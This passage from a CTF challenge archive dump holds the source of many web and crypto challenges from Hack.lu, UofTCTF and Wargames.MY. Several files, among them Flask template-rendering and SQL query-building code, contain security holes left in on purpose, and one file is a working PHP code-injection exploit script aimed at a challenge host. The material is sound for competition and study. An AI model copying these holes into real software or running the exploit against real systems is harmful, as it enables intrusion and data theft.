y_pred = clf.predict(X_test)
# Accuracy
accuracy = accuracy_score(y_test, y_pred)
print(f"Accuracy: {accuracy * 100:.2f}%")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/code-db/src/code_samples/data_pipeline.py | ctfs/UofTCTF/2025/web/code-db/src/code_samples/data_pipeline.py | import pandas as pd
import numpy as np
def clean_data(df):
df = df.dropna()
df['date'] = pd.to_datetime(df['date'])
return df
def transform_data(df):
df['month'] = df['date'].dt.month
df['year'] = df['date'].dt.year
return df
def load_data(df, filename):
df.to_csv(filename, index=False)
print(f"Data loaded to {filename}")
if __name__ == "__main__":
data = pd.read_csv('raw_data.csv')
clean = clean_data(data)
transformed = transform_data(clean)
load_data(transformed, 'processed_data.csv')
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/code-db/src/code_samples/hello_world.py | ctfs/UofTCTF/2025/web/code-db/src/code_samples/hello_world.py | print("Hello world!") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/code-db/src/code_samples/calculator.py | ctfs/UofTCTF/2025/web/code-db/src/code_samples/calculator.py | import operator
def calculate(expression):
ops = {
'+': operator.add,
'-': operator.sub,
'*': operator.mul,
'/': operator.truediv
}
stack = []
for token in expression.split():
if token in ops:
b = stack.pop()
a = stack.pop()
result = ops[token](a, b)
stack.append(result)
else:
stack.append(float(token))
return stack[0]
if __name__ == "__main__":
expr = input("Enter expression (e.g., 3 4 + 2 *): ")
print("Result:", calculate(expr))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/my-second-app/src/guest_list.py | ctfs/UofTCTF/2025/web/my-second-app/src/guest_list.py | from flask import Flask, request, render_template, render_template_string, flash, redirect, url_for
import hashlib
import os
import random
app = Flask(__name__)
app.secret_key = os.urandom(24)
SECRET_KEY = os.urandom(random.randint(16, 64))
MALICIOUS_SUBSTRINGS = [
'#','%', '!', '=', '+', '-', '/', '&', '^', '<', '>','and', 'or', 'not','\\', '[', ']', '.', "_",',',"0","1","2","3","4","5","6","7","8","9",'"', "'",'`','?',"attr","request","args","cookies","headers","files","form","json","flag",'lipsum','cycler','joiner','namespace','url_for','flash','config','session','dict','range','lower', 'upper', 'format', 'get', "item", 'key', 'pop', 'globals', 'class', 'builtins', 'mro',"True","False"
]
GUESTS = []
def good(name):
if not all(ord(c) < 255 for c in name):
return False
for substring in MALICIOUS_SUBSTRINGS:
if substring in name:
return False
return True
def load_guests():
with open("./guests.txt", 'r') as f:
for line in f:
name = line.strip()
if not name:
continue
assert good(name), f"Bad name: {name}"
ticket = hashlib.sha256(SECRET_KEY + name.encode('latin-1')).hexdigest()
GUESTS.append({
"name": name,
"ticket": ticket
})
def verify_ticket(name, ticket):
expected = hashlib.sha256(SECRET_KEY + name.encode('latin-1')).hexdigest()
return expected == ticket
@app.route('/')
def index():
return render_template('index.html', guests=GUESTS)
@app.route('/signin', methods=['POST'])
def signin():
name = request.form.get('name')
ticket = request.form.get('ticket')
if not name or not ticket:
flash("You must provide a name and ticket!", "warning")
return redirect(url_for('index'))
if verify_ticket(name, ticket):
if not good(name):
flash(f"The ticket for {name} has been revoked!", "danger")
return redirect(url_for('index'))
try:
with open("./templates/welcome.html", 'r') as f:
template_content = f.read()
rendered_template = template_content % (name,)
return render_template_string(rendered_template)
except Exception as e:
flash(f"An error occurred: {e}", "danger")
return redirect(url_for('index'))
else:
flash(f"{name} is not invited!", "danger")
return redirect(url_for('index'))
if __name__ == '__main__':
load_guests()
app.run(host='0.0.0.0', port=5000) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UofTCTF/2025/web/prepared-1/app.py | ctfs/UofTCTF/2025/web/prepared-1/app.py | import re
from flask import Flask, render_template, request, redirect, url_for, flash
import mysql.connector
import os
import setuptools
app = Flask(__name__)
app.secret_key = os.urandom(24)
DB_HOST = os.getenv('MYSQL_HOST', 'localhost')
DB_USER = os.getenv('MYSQL_USER', 'root')
DB_PASSWORD = os.getenv('MYSQL_PASSWORD', 'rootpassword')
DB_NAME = os.getenv('MYSQL_DB', 'prepared_db')
class MaliciousCharacterError(Exception):
pass
class NonPrintableCharacterError(Exception):
pass
class DirtyString:
MALICIOUS_CHARS = ['"', "'", "\\", "/", "*", "+" "%", "-", ";", "#", "(", ")", " ", ","]
def __init__(self, value, key):
self.value = value
self.key = key
def __repr__(self):
return self.get_value()
def check_malicious(self):
if not all(32 <= ord(c) <= 126 for c in self.value):
raise NonPrintableCharacterError(f"Non-printable ASCII character found in '{self.key}'.")
for char in self.value:
if char in self.MALICIOUS_CHARS:
raise MaliciousCharacterError(f"Malicious character '{char}' found in '{self.key}'")
def get_value(self):
self.check_malicious()
return self.value
class QueryBuilder:
def __init__(self, query_template, dirty_strings):
self.query_template = query_template
self.dirty_strings = {ds.key: ds for ds in dirty_strings}
self.placeholders = self.get_all_placeholders(self.query_template)
def get_all_placeholders(self, query_template=None):
pattern = re.compile(r'\{(\w+)\}')
return pattern.findall(query_template)
def build_query(self):
query = self.query_template
self.placeholders = self.get_all_placeholders(query)
while self.placeholders:
key = self.placeholders[0]
format_map = dict.fromkeys(self.placeholders, lambda _, k: f"{{{k}}}")
for k in self.placeholders:
if k in self.dirty_strings:
if key == k:
format_map[k] = self.dirty_strings[k].get_value()
else:
format_map[k] = DirtyString
query = query.format_map(type('FormatDict', (), {
'__getitem__': lambda _, k: format_map[k] if isinstance(format_map[k], str) else format_map[k]("",k)
})())
self.placeholders = self.get_all_placeholders(query)
return query
def get_db_connection():
try:
cnx = mysql.connector.connect(
host=DB_HOST,
user=DB_USER,
password=DB_PASSWORD,
database=DB_NAME
)
return cnx
except mysql.connector.Error as err:
print(f"Error: {err}")
return None
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
data = request.form
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
flash("Username and password are required.", 'error')
return redirect(url_for('login'))
try:
du = DirtyString(username, 'username')
dp = DirtyString(password, 'password')
qb = QueryBuilder(
"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'",
[du, dp]
)
sanitized_query = qb.build_query()
print(f"Sanitized query: {sanitized_query}")
except (MaliciousCharacterError, NonPrintableCharacterError) as e:
flash(str(e), 'error')
return redirect(url_for('login'))
except Exception:
flash("Invalid credentials.", 'error')
return redirect(url_for('login'))
cnx = get_db_connection()
if not cnx:
flash("Database connection failed.", 'error')
return redirect(url_for('login'))
cursor = cnx.cursor(dictionary=True)
try:
cursor.execute(sanitized_query)
user = cursor.fetchone()
if user:
flash("Login successful!", 'success')
return render_template('under_construction.html')
else:
flash("Invalid credentials.", 'error')
except mysql.connector.Error as err:
flash(f"Database query failed: {err}", 'error')
finally:
cursor.close()
cnx.close()
return render_template('login.html')
@app.route('/under_construction')
def under_construction():
return render_template('under_construction.html')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000, debug=False)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/ArabSecurityCyberWargames/2023/Quals/crypto/Perfect_Encryption/challenge.py | ctfs/ArabSecurityCyberWargames/2023/Quals/crypto/Perfect_Encryption/challenge.py | from Crypto.Util.number import bytes_to_long, getStrongPrime
from random import getrandbits
FLAG = bytes_to_long(b"ASCWG{XXXX}")
p = getStrongPrime(512)
a, b, c = getrandbits(256), getrandbits(256), getrandbits(256)
x = getrandbits(512)
y = FLAG*x % p
f1 = (a*x*y + b*x - c*y + a*b) % p
f2 = (a*x*y - a*b*x + c*y - a*b*c) % p
f3 = (a*x*y + a*b*x - b*y + a*c) % p
print(f"{a=}\n{b=}\n{c=}\n{p=}")
print(f"{f1=}\n{f2=}\n{f3=}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Wargames.MY/2024/crypto/Hohoho_3_continue/server.py | ctfs/Wargames.MY/2024/crypto/Hohoho_3_continue/server.py | #!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *
m = getRandomNBitInteger(128)
class User:
def __init__(self, name, token):
self.name = name
self.mac = token
def verifyToken(self):
data = self.name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:] == self.mac
def generateToken(name):
data = name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:]
def printMenu():
print("1. Register")
print("2. Login")
print("3. Make a wish")
print("4. Wishlist (Santa Only)")
print("5. Exit")
def main():
print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
user = None
registered = False
while(1):
printMenu()
try:
option = int(input("Enter option: "))
if option == 1:
# User only can register once to fix forge token bug
if registered:
print("Ho Ho Ho! No cheating!")
break
name = str(input("Enter your name: "))
if "Santa Claus" in name:
print("Cannot register as Santa!\n")
continue
print(f"Use this token to login: {generateToken(name)}\n")
registered = True
elif option == 2:
name = input("Enter your name: ")
mac = input("Enter your token: ")
user = User(name, mac)
if user.verifyToken():
print(f"Login successfully as {user.name}")
print("Now you can make a wish!\n")
else:
print("Ho Ho Ho! No cheating!")
break
elif option == 3:
if user:
wish = input("Enter your wish: ")
open("wishes.txt","a").write(f"{user.name}: {wish}\n")
print("Your wish has recorded! Santa will look for it!\n")
else:
print("You have not login yet!\n")
elif option == 4:
if user and "Santa Claus" in user.name:
wishes = open("wishes.txt","r").read()
print("Wishes:")
print(wishes)
else:
print("Only Santa is allow to access!\n")
elif option == 5:
print("Bye!!")
break
else:
print("Invalid choice!")
except Exception as e:
print(str(e))
break
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Wargames.MY/2024/crypto/lwe/main.py | ctfs/Wargames.MY/2024/crypto/lwe/main.py | import os
import random
import numpy as np
import signal
def _handle_timeout(signum, frame):
raise TimeoutError('function timeout')
timeout = 180
signal.signal(signal.SIGALRM, _handle_timeout)
signal.alarm(timeout)
FLAG = 'wgmy{fake_flag}'
def change_support(support):
while (t := random.randint(0, n - 1)) in support: pass
support[random.randint(0, k - 1)] = t
return support
n = 500; p = 3691; k = 10; m = 20 * n
seed = os.urandom(16)
random.seed(seed)
A = np.zeros((n, m), dtype=int)
support = random.sample(range(n), k)
columns = list(range(m))
random.shuffle(columns)
for i in columns:
if (random.randint(0, 2) == 0):
support = change_support(support)
A[support, i] = [random.randint(0, p - 1) for _ in range(k)]
secure_random = random.SystemRandom()
s = np.array([secure_random.randint(0, p - 1) for _ in range(n)])
e = np.round(np.random.normal(0, 1, size=m)).astype(int)
b = (s @ A + e) % p
print(f'{seed.hex() = }')
print(f'{b.tolist() = }')
s_ = input('s: ')
if s_ == str(s.tolist()):
print(FLAG)
else:
print("WRONG")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Wargames.MY/2024/crypto/Hohoho_3/server.py | ctfs/Wargames.MY/2024/crypto/Hohoho_3/server.py | #!/usr/bin/env python3
import hashlib
from Crypto.Util.number import *
m = getRandomNBitInteger(128)
class User:
def __init__(self, name, token):
self.name = name
self.mac = token
def verifyToken(self):
data = self.name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:] == self.mac
def generateToken(name):
data = name.encode(errors="surrogateescape")
crc = (1 << 128) - 1
for b in data:
crc ^= b
for _ in range(8):
crc = (crc >> 1) ^ (m & -(crc & 1))
return hex(crc ^ ((1 << 128) - 1))[2:]
def printMenu():
print("1. Register")
print("2. Login")
print("3. Make a wish")
print("4. Wishlist (Santa Only)")
print("5. Exit")
def main():
print("Want to make a wish for this Christmas? Submit here and we will tell Santa!!\n")
user = None
while(1):
printMenu()
try:
option = int(input("Enter option: "))
if option == 1:
name = str(input("Enter your name: "))
if "Santa Claus" in name:
print("Cannot register as Santa!\n")
continue
print(f"Use this token to login: {generateToken(name)}\n")
elif option == 2:
name = input("Enter your name: ")
mac = input("Enter your token: ")
user = User(name, mac)
if user.verifyToken():
print(f"Login successfully as {user.name}")
print("Now you can make a wish!\n")
else:
print("Ho Ho Ho! No cheating!")
break
elif option == 3:
if user:
wish = input("Enter your wish: ")
open("wishes.txt","a").write(f"{user.name}: {wish}\n")
print("Your wish has recorded! Santa will look for it!\n")
else:
print("You have not login yet!\n")
elif option == 4:
if user and "Santa Claus" in user.name:
wishes = open("wishes.txt","r").read()
print("Wishes:")
print(wishes)
else:
print("Only Santa is allow to access!\n")
elif option == 5:
print("Bye!!")
break
else:
print("Invalid choice!")
except Exception as e:
print(str(e))
break
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Wargames.MY/2024/crypto/RickS_Algorithm/server.py | ctfs/Wargames.MY/2024/crypto/RickS_Algorithm/server.py | from Crypto.Util.number import *
import os
from secret import revealFlag
flag = bytes_to_long(b"wgmy{REDACTED}")
p = getStrongPrime(1024)
q = getStrongPrime(1024)
e = 0x557
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
while True:
print("Choose an option below")
print("=======================")
print("1. Encrypt a message")
print("2. Decrypt a message")
print("3. Print encrypted flag")
print("4. Print flag")
print("5. Exit")
try:
option = input("Enter option: ")
if option == "1":
m = bytes_to_long(input("Enter message to encrypt: ").encode())
print(f"Encrypted message: {pow(m,e,n)}")
elif option == "2":
c = int(input("Enter ciphertext to decrypt: "))
if c % pow(flag,e,n) == 0 or flag % pow(c,d,n) == 0:
print("HACKER ALERT!!")
break
print(f"Decrypted message: {pow(c,d,n)}")
elif option == "3":
print(f"Encrypted flag: {pow(flag,e,n)}")
elif option == "4":
print("Revealing flag: ")
revealFlag()
elif option == "5":
print("Bye!!")
break
except Exception as e:
print("HACKER ALERT!!")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Wargames.MY/2024/crypto/RickS_Algorithm_2/server.py | ctfs/Wargames.MY/2024/crypto/RickS_Algorithm_2/server.py | from Crypto.Util.number import *
import os
from secret import revealFlag
flag = bytes_to_long(b"wgmy{REDACTED}")
p = getStrongPrime(1024)
q = getStrongPrime(1024)
e = 0x557
n = p*q
phi = (p-1)*(q-1)
d = inverse(e,phi)
while True:
print("Choose an option below")
print("=======================")
print("1. Encrypt a message")
print("2. Decrypt a message (Disabled)")
print("3. Print encrypted flag")
print("4. Print flag")
print("5. Exit")
try:
option = input("Enter option: ")
if option == "1":
m = bytes_to_long(input("Enter message to encrypt: ").encode())
print(f"Encrypted message: {pow(m,e,n)}")
elif option == "2":
print(f"Disabled decryption to prevent flag leaking!")
elif option == "3":
print(f"Encrypted flag: {pow(flag,e,n)}")
elif option == "4":
print("Revealing flag: ")
revealFlag()
elif option == "5":
print("Bye!!")
break
except Exception as e:
print("HACKER ALERT!!")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2021/crypto/lwsr/lwsr.py | ctfs/Hack.lu/2021/crypto/lwsr/lwsr.py | #!/usr/bin/env sage
from os import urandom
from sage.crypto.lwe import Regev
import sys
flag = b"flag{this_may_look_like_a_real_flag_but_its_not}"
def lfsr(state):
# x^384 + x^8 + x^7 + x^6 + x^4 + x^3 + x^2 + x + 1
mask = (1 << 384) - (1 << 377) + 1
newbit = bin(state & mask).count('1') & 1
return (state >> 1) | (newbit << 383)
# LFSR initalization
state = int.from_bytes(urandom(384 // 8), "little")
assert state != 0
# Regev KeyGen
n = 128
m = 384
lwe = Regev(n)
q = lwe.K.order()
pk = [list(lwe()) for _ in range(m)]
sk = lwe._LWE__s
# publish public key
print(f"Public key (q = {q}):")
print(pk)
# encrypt flag
print("Encrypting flag:")
for byte in flag:
for bit in map(int, format(byte, '#010b')[2:]):
# encode message
msg = (q >> 1) * bit
assert msg == 0 or msg == (q >> 1)
# encrypt
c = [vector([0 for _ in range(n)]), 0]
for i in range(m):
if (state >> i) & 1 == 1:
c[0] += vector(pk[i][0])
c[1] += pk[i][1]
# fix ciphertext
c[1] += msg
print(c)
# advance LFSR
state = lfsr(state)
# clear LFSR bits
for _ in range(384):
state = lfsr(state)
while True:
# now it's your turn :)
print("Your message bit: ")
msg = int(sys.stdin.readline())
if msg == -1:
break
assert msg == 0 or msg == 1
# encode message
pk[0][1] += (q >> 1) * msg
# encrypt
c = [vector([0 for _ in range(n)]), 0]
for i in range(m):
if (state >> i) & 1 == 1:
c[0] += vector(pk[i][0])
c[1] += pk[i][1]
# fix public key
pk[0][1] -= (q >> 1) * msg
# check correctness by decrypting
decrypt = ZZ(c[0].dot_product(sk) - c[1])
if decrypt >= (q >> 1):
decrypt -= q
decode = 0 if abs(decrypt) < (q >> 2) else 1
if decode == msg:
print("Success!")
else:
print("Oh no :(")
# advance LFSR
state = lfsr(state)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2021/crypto/whatthehecc/server.py | ctfs/Hack.lu/2021/crypto/whatthehecc/server.py | #!/usr/bin/env python3
import sys
import shlex
import subprocess
from Cryptodome.PublicKey import ECC
from Cryptodome.Hash import SHA3_256
from Cryptodome.Math.Numbers import Integer
import time
# util
def run_cmd(cmd):
try:
args = shlex.split(cmd)
return subprocess.check_output(args).decode('utf-8')
except Exception as ex:
return str(ex)
def read_message():
return sys.stdin.readline()
def send_message(message):
sys.stdout.write('### {0}\r\n>'.format(message))
sys.stdout.flush()
# crypto stuff
def hash(msg):
h_obj = SHA3_256.new()
h_obj.update(msg.encode())
return Integer.from_bytes(h_obj.digest())
def setup(curve):
key = ECC.generate(curve=curve)
return key
def blind(msg, pub):
r = pub.pointQ * hash(msg)
return r
def sign(r, key):
r_prime = r * key.d.inverse(key._curve.order)
date = int(time.time())
nonce = Integer.random_range(min_inclusive=1,max_exclusive=key._curve.order)
z = f'{nonce}||{date}'
R = r_prime + (key._curve.G * hash(z))
s = (key.d - hash(z)) % key._curve.order
# return (R, s, z)
# we can not give away z or this is unsafe: x = s+h(z)
return R, s
def verify(msg, sig, pub):
R, s = sig
if s in [0,1,''] and s > 0:
return False
tmp1 = s * pub._curve.G
tmp2 = - pub.pointQ
tmp3 = tmp2 + R
return tmp1 + tmp3 == hash(msg) * pub._curve.G
## ok ok here we go
def main():
while True:
send_message('Enter your command:')
cmd = read_message().strip()
if cmd == 'sign':
send_message('Send cmd to sign:')
cmd = read_message().strip()
if(cmd in ['id', 'uname', 'ls', 'date']):
r = blind(cmd, pubkey)
sig = sign(r, key)
send_message(f'Here you go: {sig[0].x}|{sig[0].y}|{sig[1]}|{cmd}')
else:
send_message('Not allowed!')
elif cmd == 'run':
send_message('Send sig:')
sig = read_message().strip()
tmp = sig.split('|')
if len(tmp) == 4:
x = int(tmp[0])
y = int(tmp[1])
s = int(tmp[2])
c = tmp[3]
sig = (ECC.EccPoint(x, y, curve='P-256'), s)
if(verify(c, sig, pubkey)):
out = run_cmd(c)
send_message(out)
else:
send_message('Invalid sig!')
else:
send_message('Invalid amount of params!')
elif cmd == 'show':
send_message(pubkey)
elif cmd == 'help':
send_message('Commands: exit, help, show, run, sign')
elif cmd == 'exit':
send_message('Bye :) Have a nice day!')
break
else:
send_message('Invalid command!')
if __name__ == '__main__':
key = setup('P-256')
pubkey = key.public_key()
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2021/web/SeekingExploits/mybb-server/install.py | ctfs/Hack.lu/2021/web/SeekingExploits/mybb-server/install.py | #!/usr/bin/python3
import requests
import sys
import os
import time
import random
import string
import pymysql
from urllib.parse import urlencode
hostname = os.environ["HOSTNAME"]
flag = os.environ["FLAG"]
headers = {
'Host': hostname
}
# poll installer script
while True:
time.sleep(1)
try:
response = requests.get("http://localhost/install/index.php")
if response.status_code == 200:
break
except:
print("got exception")
continue
install_url = "http://localhost/install/index.php"
sess = requests.Session()
# walk through the installation steps
sess.post(install_url, headers=headers, data={'action': 'license'})
sess.post(install_url, headers=headers, data={'action': 'requirements_check'})
sess.post(install_url, headers=headers, data={'action': 'database_info'})
# install the database
database_body = "action=create_tables&dbengine=mysqli&config[mysqli][dbhost]=database&config[mysqli][dbuser]=root&config[mysqli][dbpass]=supersecretmysqlpasswordnotahint&config[mysqli][dbuser]=root&config[mysqli][dbname]=mybb&config[mysqli][encoding]=utf8&config[mysqli][tableprefix]=mybb_"
res = sess.post(install_url, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Host': hostname}, data=database_body)
# insert default data
sess.post(install_url, headers=headers, data={'action': 'populate_tables'})
sess.post(install_url, headers=headers, data={'action': 'templates'})
sess.post(install_url, headers=headers, data={'action': 'configuration'})
res = sess.post(install_url, headers=headers, data={
'action': 'adminuser',
'bbname': 'SeekingExploits',
'bburl': 'http://' + hostname,
'websiteurl': 'http://' + hostname,
'websitename': 'SeekingExploits',
'cookiedomain': '',
'contactemail': 'admin@' + hostname,
'pin': ''
})
# set up adminuser account
password = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(32))
admin_config = {
'action': 'final',
'adminuser': 'admin',
'adminpass': password,
'adminpass2': password,
'adminemail': 'admin@' + hostname
}
res = sess.post(install_url, headers=headers, data=admin_config)
# give the database some time to boot
time.sleep(30)
# enable some non-default settings
db = pymysql.connect("database","root","supersecretmysqlpasswordnotahint","mybb")
cursor = db.cursor()
# Enable instant activation registration on the server
cursor.execute("UPDATE mybb_settings SET value='instant' WHERE name='regtype';")
# put the flag into the private notes of the admin
cursor.execute("UPDATE mybb_users SET usernotes='{}' WHERE username='admin';".format(flag))
# enable the emarket plugin
cursor.execute("UPDATE mybb_datacache SET cache='{}' WHERE title='plugins';".format('a:1:{s:6:"active";a:1:{s:7:"emarket";s:7:"emarket";}}'))
cursor.close()
# finally, delete the installation dir and the .htaccess file and expose the instance
os.system("rm -rf install/")
os.system("rm .htaccess")
# loop to keep the docker image alive
while True:
time.sleep(20) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2018/babyphp/exploit.py | ctfs/Hack.lu/2018/babyphp/exploit.py | #!/usr/bin/env python2
import requests
import urllib
import base64
# flag{7c217708c5293a3264bb136ef1fadd6e}
params = {
# we can provide a data: url to file_get_contents
'msg': 'data://text/plain;base64,{}'.format(base64.b64encode('Hello Challenge!')),
'key1': 1337,
# the dollar sing is NOT actually the $
'key2': '0' * 35 + '1337\xef\xbc\x84',
# if we provide an array, both substr and sha1 return null
'cc[]': '',
# we can override k1 with using "$$len = $hack"
'k1': '2',
# assert evaluates the string which results in code injection
'bb': 'print $flag."\\n"; //'
}
url = 'https://arcade.fluxfingers.net:1819/?{}'.format(urllib.urlencode(params))
with requests.get(url) as r:
print r.text
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/misc/soulsplitter/app.py | ctfs/Hack.lu/2023/misc/soulsplitter/app.py | #!/usr/bin/env python3
import base64
import io
import os
import qrcode
import random
import secrets
import zlib
FLAG = os.getenv('FLAG', 'flag{fake_flag}')
SOULS = int(os.getenv('SOULS', '20'))
SHARDS = int(os.getenv('SHARDS', '17'))
BLOCK_FULL = chr(9608)
BLOCK_UPPER = chr(9600)
BLOCK_LOWER = chr(9604)
BLOCK_EMPTY = chr(160)
def select_soul():
return secrets.token_urlsafe(16)
def soul_code(data):
code = qrcode.QRCode(
border=0,
error_correction=qrcode.constants.ERROR_CORRECT_H,
)
code.add_data(data)
code.make()
return code
def code_atoms(code):
size = len(code.modules)
atoms = []
for y in range(size):
for x in range(size):
atoms.append((x, y, code.modules[y][x]))
return atoms, size
def atoms_to_text(size, atoms):
buf = [False] * size**2
for atom in atoms:
x, y, is_set = atom
buf[y * size + x] = is_set
text = io.StringIO()
for y in range(0, size, 2):
for x in range(size):
a = buf[y * size + x]
b = buf[(y + 1) * size + x] if (y + 1) * size + x < len(buf) else False
if a and b:
text.write(BLOCK_FULL)
elif a:
text.write(BLOCK_UPPER)
elif b:
text.write(BLOCK_LOWER)
else:
text.write(BLOCK_EMPTY)
text.write('\n')
return text.getvalue().strip('\n')
def atoms_token(size, atoms):
text = atoms_to_text(size, atoms)
return base64.b64encode(zlib.compress(text.encode('utf-8'))).decode('utf-8')
def split_soul(soul, n):
code = soul_code(soul)
atoms, size = code_atoms(code)
random.shuffle(atoms)
atom_count = len(atoms)
r = atom_count % n
atoms_per_shard = atom_count // n
shard_codes = []
for i in range(0, atom_count - r, atoms_per_shard):
shard_codes.append(atoms[i:i + atoms_per_shard])
for i in range(r):
shard_codes[i].append(atoms[-1 - i])
return [atoms_token(size, shard_code) for shard_code in shard_codes]
def generate_challenge():
soul = select_soul()
shards = split_soul(soul, SHARDS)
return soul, random.sample(shards, SHARDS - 1)
def main():
print('👹 I am the Soul Splitter!')
print(f'👹 If you can recover {SOULS} souls, I will tell you my secret.')
for _ in range(SOULS):
soul, shards = generate_challenge()
print(f'👹 Here are {len(shards)} shards:')
print('\n'.join(shards))
recovered = input('👹 Recover the soul to prove you are worthy: ')
if recovered != soul:
print('👹 Wrong! You are unworthy. ' + soul)
return
print('👹 You got lucky with this one...')
print('👹 You haven proven yourself! Here\'s my secret:')
print(FLAG)
if __name__ == '__main__':
try:
main()
except EOFError:
pass
except KeyboardInterrupt:
pass
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/misc/Safest_Eval/server/src/server.py | ctfs/Hack.lu/2023/misc/Safest_Eval/server/src/server.py | import subprocess
import os, stat
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.post("/challenge")
def palindrome_challenge():
user_code = request.json["code"]
cmd = ["timeout", "-s", "KILL", os.environ.get('TIMEOUT', '10'), "sudo", "-u", "safe_eval", "python", "palindrome_challenge.py", user_code]
try:
res = subprocess.check_output(cmd, stderr=subprocess.DEVNULL).decode().strip()
except Exception:
res = "Exception"
if res not in ["Solved", "Not solved", "SyntaxError", "Exception"]:
res = "Not solved"
return {"result": res}
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Hack.lu/2023/misc/Safest_Eval/server/src/palindrome_challenge.py | ctfs/Hack.lu/2023/misc/Safest_Eval/server/src/palindrome_challenge.py | from types import CodeType, FunctionType
from opcode import opname, opmap
import dis
import sys
BAD_ATTRS = ["func_globals", "f_globals", "f_locals", "f_builtins", "gi_code", "co_code", "gi_frame"]
BAD_OPCODES = {opmap[opname] for opname in
['STORE_ATTR', 'DELETE_ATTR', 'STORE_GLOBAL', 'DELETE_GLOBAL', 'DELETE_SUBSCR', 'IMPORT_STAR',
